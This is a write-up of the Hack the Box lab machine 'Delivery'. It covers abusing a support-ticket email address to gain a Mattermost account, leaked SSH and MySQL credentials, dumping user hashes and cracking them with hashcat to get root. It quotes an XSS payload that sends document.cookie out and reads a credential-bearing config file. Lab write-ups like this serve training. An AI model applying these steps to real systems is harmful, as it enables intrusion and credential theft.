Writeup for Delivery from Hack the Box


nmap -sV -T4 -p-
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http nginx 1.14.2
From the website, there are two links:
  • http://delivery.htb:8065/
Add the following to the /etc/hosts file: delivery.htb
Note the information here:
We don't have a @delivery.htb account, so we won't be able to access the MatterMost server just yet.

When submitting a ticket, the system is vulnerable to XSS.
<script> var i = new Image(); i.src = "" + escape(document.cookie); </script>
Unfortunately this doesn't work, anything with <script></script> is removed.

2nd Try: Look Closer

Note that after creating a ticket, it says:
"If you want to add more information... just email ..."
So does this email simply forward everything it receives to the ticket?


This is a MatterMost server. I went ahead and created an account with [email protected] as the email address. This was previously not possible because
  1. 1.
    We needed a @delivery.htb email and
  2. 2.
    We needed email verification
The email does indeed forward everything to the ticket content:
By navigating to the link in the email, we can verify our account.
And we can log in to view some sensitive information:


We can use the maildeliverer:Youve_G0t_Mail! credential combination to authenticate and obtain SSH access to the server.

User Flag

Right after we authenticate in, we are greeted by the user.txt flag.


After a bit of exploring:
cat /opt/mattermost/config/config.json
Under the SqlSettings, the mmuser:Crack_The_MM_Admin_PW is used for the mysql database credentials. We can login to the 'local' MariaDB server:
mysql -u mmuser -p (-u USERNAME -p, then enter the password when prompted)


Use the mattermost database: USE mattermost;
Dump mattermost.Users table: SELECT * FROM Users;
I copied this into a text file.
Compile the password hashes into a users.hash file:
Remember the message in the MatterMost channel earlier? Most of these passwords should be variations of "PleaseSubscribe!"
We were also hinted to use hashcat rules.
Rules file: cp /usr/share/hashcat/rules/best64.rule rules
Running hashcat on my host MacOS: hashcat -m 3200 users.hash wordlist -r rules (since hashcat requires a GPU)
Show cracked hash: hashcat -m 3200 users.hash --show
Cross-checking with the users.hash file, the root password is PleaseSubscribe!21.

Root Flag

From the maildeliverer bash shell: su, then use the PleaseSubscribe!21 password.